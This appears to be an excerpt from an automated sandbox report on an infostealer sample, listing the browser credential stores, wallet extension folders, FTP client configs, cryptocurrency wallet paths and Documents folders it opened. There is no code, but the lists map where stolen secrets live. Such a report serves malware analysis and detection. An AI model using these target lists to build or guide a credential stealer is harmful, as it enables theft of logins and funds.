Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU

Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Directory queried: number of queries: 2225

